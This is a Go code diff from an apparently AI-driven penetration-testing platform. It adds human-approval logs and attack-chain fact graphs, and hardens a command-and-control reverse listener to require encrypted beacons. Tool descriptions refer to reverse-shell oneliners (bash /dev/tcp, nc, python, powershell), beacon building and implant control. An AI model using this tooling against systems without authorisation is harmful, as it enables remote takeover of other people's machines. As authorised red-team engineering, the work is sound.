 	agent := agent.NewAgent(&cfg.OpenAI, &cfg.Agent, mcpServer, externalMCPMgr, log.Logger, maxIterations)
 	agent.UpdateToolDescriptionMode(cfg.Security.ToolDescriptionMode)
 
-	// 设置结果存储到Agent
-	agent.SetResultStorage(resultStorage)
-
-	// 设置结果存储到Executor（用于查询工具）
-	executor.SetResultStorage(resultStorage)
-
 	// 初始化知识库模块（如果启用）
 	var knowledgeManager *knowledge.Manager
 	var knowledgeRetriever *knowledge.Retriever
@@ -315,6 +311,16 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
 	skillsDir := skillpackage.SkillsRootFromConfig(cfg.SkillsDir, configPath)
 	log.Logger.Info("Skills 目录（Eino ADK skill 中间件 + Web 管理 API）", zap.String("skillsDir", skillsDir))
 	configDir := filepath.Dir(configPath)
+	plantaskRel := strings.TrimSpace(cfg.MultiAgent.EinoMiddleware.PlantaskRelDir)
+	if plantaskRel == "" {
+		plantaskRel = ".eino/plantask"
+	}
+	plantaskBase := filepath.Join(skillsDir, plantaskRel)
+	// Match eino_adk_run_loop: checkpoint_dir is used as configured (relative to process CWD when not absolute).
+	checkpointBase := strings.TrimSpace(cfg.MultiAgent.EinoMiddleware.CheckpointDir)
+	reductionRoot := strings.TrimSpace(cfg.MultiAgent.EinoMiddleware.ReductionRootDir)
+	workspaceRoot := strings.TrimSpace(cfg.Agent.WorkspaceRootDir)
+	db.SetEinoConversationDirs(plantaskBase, checkpointBase, reductionRoot, workspaceRoot)
 	agent.SetPromptBaseDir(configDir)
 
 	agentsDir := cfg.AgentsDir
@@ -341,7 +347,10 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
 	}
 	monitorHandler := handler.NewMonitorHandler(mcpServer, executor, db, log.Logger)
 	monitorHandler.SetAudit(auditSvc)
+	monitorHandler.SetMonitorRetention(monitorRetention)
 	monitorHandler.SetExternalMCPManager(externalMCPMgr) // 设置外部MCP管理器，以便获取外部MCP执行记录
+	monitorHandler.SetTaskManager(agentHandler.TaskManager())
+	monitorHandler.SetAgentHandler(agentHandler)
 	notificationHandler := handler.NewNotificationHandler(db, agentHandler, log.Logger)
 	groupHandler := handler.NewGroupHandler(db, log.Logger)
 	authHandler := handler.NewAuthHandler(authManager, cfg, configPath, log.Logger)
@@ -359,6 +368,7 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
 	configHandler := handler.NewConfigHandler(configPath, cfg, mcpServer, executor, agent, attackChainHandler, externalMCPMgr, log.Logger)
 	configHandler.SetAudit(auditSvc)
 	agentHandler.SetHitlToolWhitelistSaver(configHandler)
+	agentHandler.SetHitlAuditStrategySaver(configHandler)
 	externalMCPHandler := handler.NewExternalMCPHandler(externalMCPMgr, cfg, configPath, log.Logger)
 	externalMCPHandler.SetAudit(auditSvc)
 	roleHandler := handler.NewRoleHandler(cfg, configPath, log.Logger)
@@ -384,9 +394,10 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
 	// 创建OpenAPI处理器
 	conversationHandler := handler.NewConversationHandler(db, log.Logger)
 	conversationHandler.SetAudit(auditSvc)
+	conversationHandler.SetTaskStopper(agentHandler)
 	auditHandler := handler.NewAuditHandler(db, auditSvc, log.Logger)
 	robotHandler := handler.NewRobotHandler(cfg, db, agentHandler, log.Logger)
-	openAPIHandler := handler.NewOpenAPIHandler(db, log.Logger, resultStorage, conversationHandler, agentHandler)
+	openAPIHandler := handler.NewOpenAPIHandler(db, log.Logger, conversationHandler, agentHandler)
 
 	// 创建 App 实例（部分字段稍后填充）
 	app := &App{
@@ -807,11 +818,18 @@ func setupRoutes(
 		protected.POST("/eino-agent", agentHandler.EinoSingleAgentLoop)
 		protected.POST("/eino-agent/stream", agentHandler.EinoSingleAgentLoopStream)
 		protected.GET("/hitl/pending", agentHandler.ListHITLPending)
+		protected.GET("/hitl/logs", agentHandler.ListHITLLogs)
+		protected.DELETE("/hitl/logs", agentHandler.DeleteHITLLogs)
+		protected.GET("/hitl/logs/:id", agentHandler.GetHITLLog)
 		protected.POST("/hitl/decision", agentHandler.DecideHITLInterrupt)
 		protected.POST("/hitl/dismiss", agentHandler.DismissHITLInterrupt)
 		protected.GET("/hitl/config/:conversationId", agentHandler.GetHITLConversationConfig)
 		protected.PUT("/hitl/config", agentHandler.UpsertHITLConversationConfig)
+		protected.GET("/hitl/tool-whitelist", agentHandler.GetHITLGlobalToolWhitelist)
+		protected.PUT("/hitl/tool-whitelist", agentHandler.SetHITLGlobalToolWhitelist)
 		protected.POST("/hitl/tool-whitelist", agentHandler.MergeHITLGlobalToolWhitelist)
+		protected.GET("/hitl/audit-strategy", agentHandler.GetHITLAuditStrategy)
+		protected.PUT("/hitl/audit-strategy", agentHandler.UpdateHITLAuditStrategy)
 		// Agent Loop 取消与任务列表
 		protected.POST("/agent-loop/cancel", agentHandler.CancelAgentLoop)
 		protected.GET("/agent-loop/tasks", agentHandler.ListAgentTasks)
@@ -845,6 +863,7 @@ func setupRoutes(
 		protected.PUT("/batch-tasks/:queueId/schedule-enabled", agentHandler.SetBatchQueueScheduleEnabled)
 		protected.DELETE("/batch-tasks/:queueId", agentHandler.DeleteBatchQueue)
 		protected.PUT("/batch-tasks/:queueId/tasks/:taskId", agentHandler.UpdateBatchTask)
+		protected.POST("/batch-tasks/:queueId/tasks/:taskId/run", agentHandler.RunSingleBatchTask)
 		protected.POST("/batch-tasks/:queueId/tasks", agentHandler.AddBatchTask)
 		protected.DELETE("/batch-tasks/:queueId/tasks/:taskId", agentHandler.DeleteBatchTask)
 
@@ -892,6 +911,7 @@ func setupRoutes(
 		protected.POST("/config/apply", configHandler.ApplyConfig)
 		protected.POST("/config/test-openai", configHandler.TestOpenAI)
 		protected.POST("/config/test-vision", configHandler.TestVision)
+		protected.POST("/config/list-models", configHandler.ListModels)
 
 		// 系统设置 - 终端（执行命令，提高运维效率）
 		protected.POST("/terminal/run", terminalHandler.RunCommand)
@@ -1083,6 +1103,11 @@ func setupRoutes(
 		protected.GET("/projects/:id", projectHandler.GetProject)
 		protected.PUT("/projects/:id", projectHandler.UpdateProject)
 		protected.DELETE("/projects/:id", projectHandler.DeleteProject)
+		protected.GET("/projects/:id/fact-graph", projectHandler.GetFactGraph)
+		protected.GET("/projects/:id/fact-edges", projectHandler.ListFactEdges)
+		protected.POST("/projects/:id/fact-edges", projectHandler.CreateFactEdge)
+		protected.DELETE("/projects/:id/fact-edges/:edgeId", projectHandler.DeleteFactEdge)
+		protected.POST("/projects/:id/promote-attack-chain/:conversationId", projectHandler.PromoteAttackChain)
 		protected.GET("/projects/:id/facts", projectHandler.ListFacts)
 		protected.POST("/projects/:id/facts", projectHandler.CreateFact)
 		protected.PUT("/projects/:id/facts/:factId", projectHandler.UpdateFact)
@@ -1123,6 +1148,7 @@ func setupRoutes(
 		c2Routes.POST("/listeners/:id/start", c2Handler.StartListener)
 		c2Routes.POST("/listeners/:id/stop", c2Handler.StopListener)
 		c2Routes.GET("/sessions", c2Handler.ListSessions)
+		c2Routes.DELETE("/sessions", c2Handler.DeleteSessions)
 		c2Routes.GET("/sessions/:id", c2Handler.GetSession)
 		c2Routes.DELETE("/sessions/:id", c2Handler.DeleteSession)
 		c2Routes.PUT("/sessions/:id/sleep", c2Handler.SetSessionSleep)

internal/app/c2_tools.go

@@ -61,6 +61,7 @@ func registerC2ListenerTool(s *mcp.Server, m *c2.Manager, l *zap.Logger, webList
 - stop: 停止监听器（需 listener_id）
 - delete: 删除监听器（需 listener_id）
 监听器类型: tcp_reverse, http_beacon, https_beacon, websocket
+tcp_reverse 默认仅接受 CSB1 加密 Beacon（AES-GCM + ImplantToken）才登记会话；经典 bash/nc 反弹需在 config.allow_legacy_shell=true（公网不推荐）。
 端口约束：create/update 的 bind_port 禁止与本平台 Web/API 所用端口相同。当前本服务该端口为 %d（配置项 server.port，随进程启动从配置文件加载）。若 bind_port 与此相同会导致本服务或监听器 bind 失败、Beacon/oneliner 误连到 Web 而非 C2。请为监听器另选空闲端口。`, webListenPort),
 		InputSchema: map[string]interface{}{
 			"type": "object",
@@ -74,7 +75,7 @@ func registerC2ListenerTool(s *mcp.Server, m *c2.Manager, l *zap.Logger, webList
 				"bind_port":   map[string]interface{}{"type": "integer", "description": fmt.Sprintf("绑定端口（create 必填）。须 ≠ %d（当前本服务 Web/API 端口，配置 server.port）", webListenPort), "minimum": 1, "maximum": 65535},
 				"profile_id":  map[string]interface{}{"type": "string", "description": "Malleable Profile ID"},
 				"remark":      map[string]interface{}{"type": "string", "description": "备注"},
-				"config":      map[string]interface{}{"type": "object", "description": "高级配置（beacon 路径/TLS/OPSEC 等），create/update 可用"},
+				"config":      map[string]interface{}{"type": "object", "description": "高级配置（beacon 路径/TLS/OPSEC 等），create/update 可用。tcp_reverse 可选 allow_legacy_shell:true 允许未加密经典 shell（默认 false）"},
 			},
 			"required": []string{"action"},
 		},
@@ -222,20 +223,23 @@ func registerC2SessionTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
 	s.RegisterTool(mcp.Tool{
 		Name: builtin.ToolC2Session,
 		Description: `C2 会话管理。通过 action 参数选择操作：
-- list: 列出会话（可按 listener_id/status/os/search 过滤）
+- list: 列出会话（可按 listener_id/status/os/search/suspicious 过滤）
 - get: 获取会话详情及最近任务历史（需 session_id）
 - set_sleep: 设置心跳间隔（需 session_id）
 - kill: 下发 exit 任务让 implant 退出（需 session_id）
-- delete: 删除会话记录（需 session_id）`,
+- delete: 删除单个会话记录（需 session_id）
+- delete_batch: 批量删除会话（需 session_ids 数组）`,
 		InputSchema: map[string]interface{}{
 			"type": "object",
 			"properties": map[string]interface{}{
-				"action":         map[string]interface{}{"type": "string", "description": "操作: list/get/set_sleep/kill/delete", "enum": []string{"list", "get", "set_sleep", "kill", "delete"}},
+				"action":         map[string]interface{}{"type": "string", "description": "操作: list/get/set_sleep/kill/delete/delete_batch", "enum": []string{"list", "get", "set_sleep", "kill", "delete", "delete_batch"}},
 				"session_id":     map[string]interface{}{"type": "string", "description": "会话 ID（get/set_sleep/kill/delete 需要）"},
+				"session_ids":    map[string]interface{}{"type": "array", "items": map[string]interface{}{"type": "string"}, "description": "会话 ID 列表（delete_batch）"},
 				"listener_id":    map[string]interface{}{"type": "string", "description": "按监听器过滤（list）"},
 				"status":         map[string]interface{}{"type": "string", "description": "按状态过滤: active/sleeping/dead/killed（list）"},
 				"os":             map[string]interface{}{"type": "string", "description": "按 OS 过滤: linux/windows/darwin（list）"},
 				"search":         map[string]interface{}{"type": "string", "description": "模糊搜索 hostname/username/IP（list）"},
+				"suspicious":     map[string]interface{}{"type": "boolean", "description": "仅疑似误报：离线且 tcp_* / unknown / PID 0（list）"},
 				"limit":          map[string]interface{}{"type": "integer", "description": "返回数量上限（list）"},
 				"sleep_seconds":  map[string]interface{}{"type": "integer", "description": "心跳间隔秒数（set_sleep）"},
 				"jitter_percent": map[string]interface{}{"type": "integer", "description": "抖动百分比 0-100（set_sleep）"},
@@ -257,6 +261,9 @@ func registerC2SessionTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
 			if limit := int(getFloat64(params, "limit")); limit > 0 {
 				filter.Limit = limit
 			}
+			if v, ok := params["suspicious"].(bool); ok && v {
+				filter.Suspicious = true
+			}
 			sessions, err := m.DB().ListC2Sessions(filter)
 			return makeC2Result(map[string]interface{}{"sessions": sessions, "count": len(sessions)}, err)
 
@@ -274,8 +281,16 @@ func registerC2SessionTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
 		case "set_sleep":
 			sleep := int(getFloat64(params, "sleep_seconds"))
 			jitter := int(getFloat64(params, "jitter_percent"))
-			err := m.DB().SetC2SessionSleep(id, sleep, jitter)
-			return makeC2Result(map[string]interface{}{"updated": err == nil, "sleep_seconds": sleep, "jitter_percent": jitter}, err)
+			task, err := m.SetSessionSleep(id, sleep, jitter)
+			out := map[string]interface{}{
+				"updated":        err == nil,
+				"sleep_seconds":  sleep,
+				"jitter_percent": jitter,
+			}
+			if task != nil {
+				out["task_id"] = task.ID
+			}
+			return makeC2Result(out, err)
 
 		case "kill":
 			task, err := m.EnqueueTask(c2.EnqueueTaskInput{
@@ -292,6 +307,17 @@ func registerC2SessionTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
 			err := m.DB().DeleteC2Session(id)
 			return makeC2Result(map[string]interface{}{"deleted": err == nil}, err)
 
+		case "delete_batch":
+			rawIDs, _ := params["session_ids"].([]interface{})
+			ids := make([]string, 0, len(rawIDs))
+			for _, v := range rawIDs {
+				if s, ok := v.(string); ok && strings.TrimSpace(s) != "" {
+					ids = append(ids, strings.TrimSpace(s))
+				}
+			}
+			n, err := m.DB().DeleteC2SessionsByIDs(ids)
+			return makeC2Result(map[string]interface{}{"deleted": n}, err)
+
 		default:
 			return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
 		}
@@ -491,11 +517,11 @@ func registerC2PayloadTool(s *mcp.Server, m *c2.Manager, l *zap.Logger, webListe
 		Name: builtin.ToolC2Payload,
 		Description: fmt.Sprintf(`C2 Payload 生成。通过 action 参数选择操作：
 - oneliner: 生成单行 payload。kind 必须与监听器协议一致，否则会失败：
-  • tcp_reverse：裸 TCP 反弹，可用 kind: bash, nc, nc_mkfifo, python, perl, powershell（bash 指 /dev/tcp 类，不是 HTTP）。
+  • tcp_reverse：默认仅支持 build 加密 Beacon；若监听器 config.allow_legacy_shell=true，才可用 kind: bash, nc, nc_mkfifo, python, perl, powershell。
   • http_beacon / https_beacon / websocket：仅 HTTP(S) Beacon 轮询，oneliner 只能用 kind: curl_beacon（脚本内用 bash+curl，与「tcp 的 bash」不同）。curl_beacon 返回串末尾含「 &」用于把整个 bash -c 放后台；若用 exec/execute 同步执行，必须整段原样复制（含末尾 &）。若删掉 &，内部 while 死循环占满前台，调用会一直阻塞到超时/杀进程。
-  • 需要经典 bash 反弹 shell 时：先 c2_listener create type=tcp_reverse，再对该监听器用 kind=bash。
+  • 公网部署 tcp_reverse 请用 build 生成加密 Beacon，勿开启 allow_legacy_shell。
   • 省略 kind 时，会按监听器类型自动选第一个兼容类型（HTTP 系默认为 curl_beacon）。
-- build: 交叉编译 beacon 二进制。支持 http_beacon / https_beacon / websocket / tcp_reverse（tcp_reverse 下植入端回连后先发魔数 CSB1，再走与 HTTP 相同的 AES-GCM JSON 语义；未发魔数的连接仍按经典交互 shell 处理）。
+- build: 交叉编译 beacon 二进制。支持 http_beacon / https_beacon / websocket / tcp_reverse（tcp_reverse 植入端回连后先发魔数 CSB1，再经 AES-GCM 解密且校验 ImplantToken 后才登记会话）。
 依赖的监听器 bind_port 须避开本服务 Web 端口 %d（配置 server.port，与 c2_listener 描述一致），否则 Beacon 无法正确回连。`, webListenPort),
 		InputSchema: map[string]interface{}{
 			"type": "object",
@@ -540,6 +566,9 @@ func registerC2PayloadTool(s *mcp.Server, m *c2.Manager, l *zap.Logger, webListe
 				}
 				return makeC2Result(nil, fmt.Errorf("监听器类型 %s 不支持 %s，兼容类型: %v", listener.Type, kind, names))
 			}
+			if err := c2.ValidateOnelinerForListener(listener, kind); err != nil {
+				return makeC2Result(nil, err)
+			}
 			input := c2.OnelinerInput{
 				Kind:         kind,
 				Host:         host,

internal/app/main_server_http_redirect.go

@@ -47,6 +47,24 @@ func (l *oneConnListener) Accept() (net.Conn, error) {
 func (l *oneConnListener) Close() error   { return nil }
 func (l *oneConnListener) Addr() net.Addr { return l.addr }
 
+// httpServerForTLSConn 从已有 Server 复制可服务字段，用于已握手 TLS 连接上的 HTTP 服务。
+// 不能复制整个 http.Server（内含 atomic/noCopy 字段）。
+func httpServerForTLSConn(src *http.Server) *http.Server {
+	return &http.Server{
+		Handler:                      src.Handler,
+		DisableGeneralOptionsHandler: src.DisableGeneralOptionsHandler,
+		ReadTimeout:                  src.ReadTimeout,
+		ReadHeaderTimeout:            src.ReadHeaderTimeout,
+		WriteTimeout:                 src.WriteTimeout,
+		IdleTimeout:                  src.IdleTimeout,
+		MaxHeaderBytes:               src.MaxHeaderBytes,
+		ConnState:                    src.ConnState,
+		ErrorLog:                     src.ErrorLog,
+		BaseContext:                  src.BaseContext,
+		ConnContext:                  src.ConnContext,
+	}
+}
+
 func isTLSHandshakeRecord(b byte) bool {
 	return b == 0x16
 }
@@ -172,8 +190,7 @@ func (m *mainServerMux) serveHTTPS(pc *peekedConn, localAddr net.Addr) {
 		}
 	}
 
-	plain := *srv
-	plain.TLSConfig = nil
+	plain := httpServerForTLSConn(srv)
 	ocl := &oneConnListener{conn: tlsConn, addr: localAddr}
 	if err := plain.Serve(ocl); err != nil && !errors.Is(err, net.ErrClosed) && !errors.Is(err, http.ErrServerClosed) {
 		m.logger.Debug("HTTPS 连接处理结束", zap.Error(err))

internal/app/project_fact_tools.go

@@ -89,6 +89,28 @@ func registerProjectFactTools(mcpServer *mcp.Server, db *database.DB, cfg *confi
 					"type":        "string",
 					"description": "可选：关联的漏洞记录 ID",
 				},
+				"links": map[string]interface{}{
+					"type": "array",
+					"description": "可选：关系边（from → 当前 fact）。finding 至少 1 条 {from:target/*, type:discovered_on}；finding 上记录 exploit 用 {from:exploit/*, type:exploits}。省略保留已有边；传 [] 清空全部关系边。",
+					"items": map[string]interface{}{
+						"type": "object",
+						"properties": map[string]interface{}{
+							"from": map[string]interface{}{
+								"type":        "string",
+								"description": "来源 fact_key：存储为 from → 当前 fact",
+							},
+							"type": map[string]interface{}{
+								"type":        "string",
+								"description": "depends_on | leads_to | enables | exploits | discovered_on | contains | part_of | supports",
+							},
+							"confidence": map[string]interface{}{
+								"type":        "string",
+								"description": "confirmed | tentative | deprecated",
+							},
+						},
+						"required": []string{"from", "type"},
+					},
+				},
 			},
 			"required": []string{"fact_key", "summary"},
 		},
@@ -124,7 +146,26 @@ func registerProjectFactTools(mcpServer *mcp.Server, db *database.DB, cfg *confi
 		if err != nil {
 			return textResult("错误: "+err.Error(), true), nil
 		}
+		if _, hasLinks := args["links"]; hasLinks {
+			linkInputs, err := project.ParseFactLinkInputs(args["links"])
+			if err != nil {
+				return textResult("错误: "+err.Error(), true), nil
+			}
+			convID := agent.ConversationIDFromContext(ctx)
+			if err := project.PersistFactLinksFromParsed(db, projectID, created.FactKey, convID, linkInputs, true); err != nil {
+				return textResult("错误: 保存关系边失败: "+err.Error(), true), nil
+			}
+			created, _ = db.GetProjectFactByKey(projectID, created.FactKey)
+		} else if parsed := project.ParseLinksFromBody(created.Body); len(parsed) > 0 {
+			if err := project.PersistFactIncomingLinks(db, projectID, created.FactKey, parsed, true); err != nil {
+				return textResult("错误: 从 body 解析边失败: "+err.Error(), true), nil
+			}
+			created, _ = db.GetProjectFactByKey(projectID, created.FactKey)
+		}
 		msg := fmt.Sprintf("事实已保存。\nfact_key: %s\nid: %s\nconfidence: %s", created.FactKey, created.ID, created.Confidence)
+		if in, _ := db.ListIncomingProjectFactEdges(projectID, created.FactKey); len(in) > 0 {
+			msg += "\n关系边: " + project.FormatFactLinksText(in)
+		}
 		if warn := project.SparseBodyWarningIfNeeded(f.Category, f.FactKey, f.Body); warn != "" {
 			msg += warn
 		}
@@ -164,6 +205,18 @@ func registerProjectFactTools(mcpServer *mcp.Server, db *database.DB, cfg *confi
 		if f.SourceConversationID != "" {
 			msg += fmt.Sprintf("\nsource_conversation_id: %s", f.SourceConversationID)
 		}
+		if in, _ := db.ListIncomingProjectFactEdges(projectID, f.FactKey); len(in) > 0 {
+			msg += "\n关系边（from → 本 fact）:\n"
+			for _, e := range in {
+				msg += fmt.Sprintf("- %s ← %s (%s)\n", e.EdgeType, e.SourceFactKey, e.Confidence)
+			}
+		}
+		if out, _ := db.ListOutgoingProjectFactEdges(projectID, f.FactKey); len(out) > 0 {
+			msg += "指向其他事实:\n"
+			for _, e := range out {
+				msg += fmt.Sprintf("- %s → %s (%s)\n", e.EdgeType, e.TargetFactKey, e.Confidence)
+			}
+		}
 		msg += "\n\n--- body ---\n" + f.Body
 		if warn := project.SparseBodyWarningIfNeeded(f.Category, f.FactKey, f.Body); warn != "" {
 			msg += warn

internal/app/vulnerability_tools.go

@@ -293,8 +293,8 @@ func registerListVulnerabilitiesTool(mcpServer *mcp.Server, db *database.DB, log
 				},
 				"status": map[string]interface{}{
 					"type":        "string",
-					"description": "按状态筛选：open、confirmed、fixed、false_positive",
-					"enum":        []string{"open", "confirmed", "fixed", "false_positive"},
+					"description": "按状态筛选：open、confirmed、fixed、false_positive、ignored",
+					"enum":        []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
 				},
 				"q": map[string]interface{}{
 					"type":        "string",

internal/attackchain/promote_project.go

@@ -0,0 +1,203 @@
+package attackchain
+
+import (
+	"fmt"
+	"regexp"
+	"strings"
+
+	"cyberstrike-ai/internal/database"
+	"cyberstrike-ai/internal/project"
+
+	"github.com/google/uuid"
+)
+
+var promoteSlugSanitizer = regexp.MustCompile(`[^a-z0-9._/-]+`)
+
+// PromoteToProjectResult 攻击链沉淀结果。
+type PromoteToProjectResult struct {
+	FactsCreated int                         `json:"facts_created"`
+	FactsUpdated int                         `json:"facts_updated"`
+	EdgesCreated int                         `json:"edges_created"`
+	FactKeys     []string                    `json:"fact_keys"`
+	Graph        *database.ProjectFactGraph  `json:"graph,omitempty"`
+}
+
+// PromoteToProject 将对话攻击链沉淀为项目事实与边。
+func PromoteToProject(db *database.DB, projectID, conversationID string) (*PromoteToProjectResult, error) {
+	if db == nil {
+		return nil, fmt.Errorf("database 未初始化")
+	}
+	projectID = strings.TrimSpace(projectID)
+	conversationID = strings.TrimSpace(conversationID)
+	if projectID == "" || conversationID == "" {
+		return nil, fmt.Errorf("project_id 与 conversation_id 必填")
+	}
+	if _, err := db.GetProject(projectID); err != nil {
+		return nil, fmt.Errorf("项目不存在")
+	}
+	conv, err := db.GetConversation(conversationID)
+	if err != nil {
+		return nil, fmt.Errorf("对话不存在")
+	}
+	if pid := strings.TrimSpace(conv.ProjectID); pid != "" && pid != projectID {
+		return nil, fmt.Errorf("对话已绑定其他项目")
+	}
+
+	nodes, err := db.LoadAttackChainNodes(conversationID)
+	if err != nil {
+		return nil, err
+	}
+	edges, err := db.LoadAttackChainEdges(conversationID)
+	if err != nil {
+		return nil, err
+	}
+	if len(nodes) == 0 {
+		return nil, fmt.Errorf("该对话尚无攻击链，请先在对话中生成攻击链")
+	}
+
+	res := &PromoteToProjectResult{}
+	nodeToKey := make(map[string]string, len(nodes))
+	usedKeys := map[string]int{}
+
+	for _, node := range nodes {
+		key := allocatePromoteFactKey(node, usedKeys)
+		nodeToKey[node.ID] = key
+		category := mapPromoteNodeCategory(node.Type)
+		existing, getErr := db.GetProjectFactByKey(projectID, key)
+		f := &database.ProjectFact{
+			ProjectID:            projectID,
+			FactKey:              key,
+			Category:             category,
+			Summary:              strings.TrimSpace(node.Label),
+			Body:                 formatPromotedFactBody(node, conversationID),
+			Confidence:           "tentative",
+			SourceConversationID: conversationID,
+		}
+		if getErr == nil && existing != nil {
+			f.ID = existing.ID
+			f.CreatedAt = existing.CreatedAt
+			if strings.TrimSpace(f.Summary) == "" {
+				f.Summary = existing.Summary
+			}
+			if _, err := db.UpsertProjectFact(f); err != nil {
+				return nil, err
+			}
+			res.FactsUpdated++
+		} else {
+			if _, err := db.UpsertProjectFact(f); err != nil {
+				return nil, err
+			}
+			res.FactsCreated++
+		}
+		res.FactKeys = append(res.FactKeys, key)
+	}
+
+	for _, edge := range edges {
+		srcKey, ok1 := nodeToKey[edge.Source]
+		tgtKey, ok2 := nodeToKey[edge.Target]
+		if !ok1 || !ok2 || srcKey == tgtKey {
+			continue
+		}
+		edgeType := mapPromoteEdgeType(edge.Type)
+		incoming, _ := db.ListIncomingProjectFactEdges(projectID, tgtKey)
+		merged := project.MergeLinkFromInputsUnique(promoteFromEdgeInputsFromDB(incoming), []database.ProjectFactEdgeFromInput{{From: srcKey, Type: edgeType}})
+		if err := db.ReplaceIncomingProjectFactEdges(projectID, tgtKey, merged); err != nil {
+			return nil, err
+		}
+		res.EdgesCreated++
+		if fact, err := db.GetProjectFactByKey(projectID, tgtKey); err == nil {
+			in, _ := db.ListIncomingProjectFactEdges(projectID, tgtKey)
+			fact.Body = project.SyncBodyLinksSection(fact.Body, in)
+			_, _ = db.UpsertProjectFact(fact)
+		}
+	}
+
+	graph, _ := project.BuildProjectFactGraph(db, projectID, "full", true)
+	res.Graph = graph
+	return res, nil
+}
+
+func promoteFromEdgeInputsFromDB(edges []*database.ProjectFactEdge) []database.ProjectFactEdgeFromInput {
+	out := make([]database.ProjectFactEdgeFromInput, 0, len(edges))
+	for _, e := range edges {
+		out = append(out, database.ProjectFactEdgeFromInput{From: e.SourceFactKey, Type: e.EdgeType, Confidence: e.Confidence})
+	}
+	return out
+}
+
+func mapPromoteNodeCategory(nodeType string) string {
+	switch strings.ToLower(strings.TrimSpace(nodeType)) {
+	case "target":
+		return project.FactCategoryTarget
+	case "vulnerability":
+		return project.FactCategoryFinding
+	case "action":
+		return project.FactCategoryChain
+	default:
+		return project.FactCategoryNote
+	}
+}
+
+func mapPromoteEdgeType(t string) string {
+	switch strings.ToLower(strings.TrimSpace(t)) {
+	case "discovers", "discovered_on", "targets":
+		return "discovered_on"
+	case "exploits":
+		return "exploits"
+	case "enables":
+		return "enables"
+	case "depends_on":
+		return "depends_on"
+	default:
+		return "leads_to"
+	}
+}
+
+func allocatePromoteFactKey(node Node, used map[string]int) string {
+	prefix := "chain/"
+	switch strings.ToLower(strings.TrimSpace(node.Type)) {
+	case "target":
+		prefix = "target/"
+	case "vulnerability":
+		prefix = "finding/"
+	case "action":
+		prefix = "chain/"
+	}
+	base := promoteSlugify(node.Label)
+	if base == "" {
+		base = promoteSlugify(node.ID)
+	}
+	if base == "" {
+		base = uuid.New().String()[:8]
+	}
+	key := prefix + base
+	if n, ok := used[key]; ok {
+		n++
+		used[key] = n
+		key = fmt.Sprintf("%s-%d", key, n)
+	} else {
+		used[key] = 1
+	}
+	return key
+}
+
+func promoteSlugify(s string) string {
+	s = strings.ToLower(strings.TrimSpace(s))
+	s = strings.NewReplacer(" ", "-", "—", "-", "–", "-", "/", "-").Replace(s)
+	s = promoteSlugSanitizer.ReplaceAllString(s, "-")
+	s = strings.Trim(s, "-")
+	if len(s) > 64 {
+		s = s[:64]
+	}
+	return s
+}
+
+func formatPromotedFactBody(node Node, conversationID string) string {
+	var b strings.Builder
+	b.WriteString("## 来源\n")
+	b.WriteString(fmt.Sprintf("- 对话攻击链沉淀\n- source_conversation_id: %s\n- node_id: %s\n- node_type: %s\n\n", conversationID, node.ID, node.Type))
+	b.WriteString("## 摘要\n")
+	b.WriteString(strings.TrimSpace(node.Label))
+	b.WriteString("\n\n## 关联\n- 结构化关系边（自动同步）:\n  （见项目攻击路径图）\n")
+	return b.String()
+}

internal/c2/listener_tcp.go

@@ -20,10 +20,9 @@ import (
 )
 
 // TCPReverseListener 监听 TCP 端口，等待目标机反弹连接。
-// 经典模式：纯交互式 raw shell，与 nc / bash -i >& /dev/tcp 兼容。
-// 二进制 Beacon：连接后先发送魔数 CSB1，随后使用与 HTTP Beacon 相同的 AES-GCM JSON 语义（成帧见 tcp_beacon_server.go）。
-// 每个新连接自动生成一个 implant_uuid（基于远端地址 + 启动时间 hash），登记为 c2_session；
-// 任务派发：使用同步 exec 模式 —— 收到 task 时直接 send 命令字节并读取输出（带结束标记）。
+// 默认仅接受加密 TCP Beacon：连接后先发送魔数 CSB1，再经 AES-GCM 解密且校验 ImplantToken 后才登记会话。
+// 可选经典模式（config.allow_legacy_shell=true）：纯交互式 raw shell，与 nc / bash -i >& /dev/tcp 兼容，无鉴权，仅建议内网实验。
+// 任务派发（经典模式）：同步 exec —— 收到 task 时直接 send 命令字节并读取输出（带结束标记）。
 type TCPReverseListener struct {
 	rec     *database.C2Listener
 	cfg     *ListenerConfig
@@ -122,12 +121,14 @@ func (l *TCPReverseListener) acceptLoop() {
 	}
 }
 
-// handleConn 一个连接=一个会话：先识别二进制 TCP Beacon（魔数 CSB1），否则走经典交互式 shell。
+// handleConn 先识别加密 TCP Beacon（魔数 CSB1 + AES-GCM + Token）；未通过则按配置拒绝或走经典 shell。
 func (l *TCPReverseListener) handleConn(conn net.Conn) {
 	br := bufio.NewReader(conn)
-	_ = conn.SetReadDeadline(time.Now().Add(20 * time.Second))
-	prefix, err := br.Peek(4)
-	if err == nil && len(prefix) == 4 && string(prefix) == tcpBeaconMagic {
+	remote := conn.RemoteAddr().String()
+
+	_ = conn.SetReadDeadline(time.Now().Add(tcpBeaconPeekTimeout))
+	prefix, peekErr := br.Peek(4)
+	if peekErr == nil && len(prefix) == 4 && string(prefix) == tcpBeaconMagic {
 		if _, err := br.Discard(4); err != nil {
 			_ = conn.Close()
 			return
@@ -136,14 +137,22 @@ func (l *TCPReverseListener) handleConn(conn net.Conn) {
 		l.handleTCPBeaconSession(conn, br)
 		return
 	}
+
+	if !l.cfg.AllowLegacyShell {
+		l.logger.Debug("tcp_reverse 拒绝未加密连接", zap.String("remote", remote))
+		_ = conn.Close()
+		return
+	}
+
 	_ = conn.SetReadDeadline(time.Time{})
 	l.handleShellConn(conn, br)
 }
 
-// handleShellConn 经典裸 TCP 反弹 shell（与 nc/bash /dev/tcp 兼容）。
+// handleShellConn 经典裸 TCP 反弹 shell（与 nc/bash /dev/tcp 兼容）；需监听器显式开启 allow_legacy_shell。
 func (l *TCPReverseListener) handleShellConn(conn net.Conn, br *bufio.Reader) {
 	remote := conn.RemoteAddr().String()
 	host, _, _ := net.SplitHostPort(remote)
+
 	// 用 listener+remote_ip 生成稳定 implant_uuid，使同一来源的重连复用同一会话
 	uuidSeed := fmt.Sprintf("%s|%s", l.rec.ID, host)
 	hash := sha256.Sum256([]byte(uuidSeed))
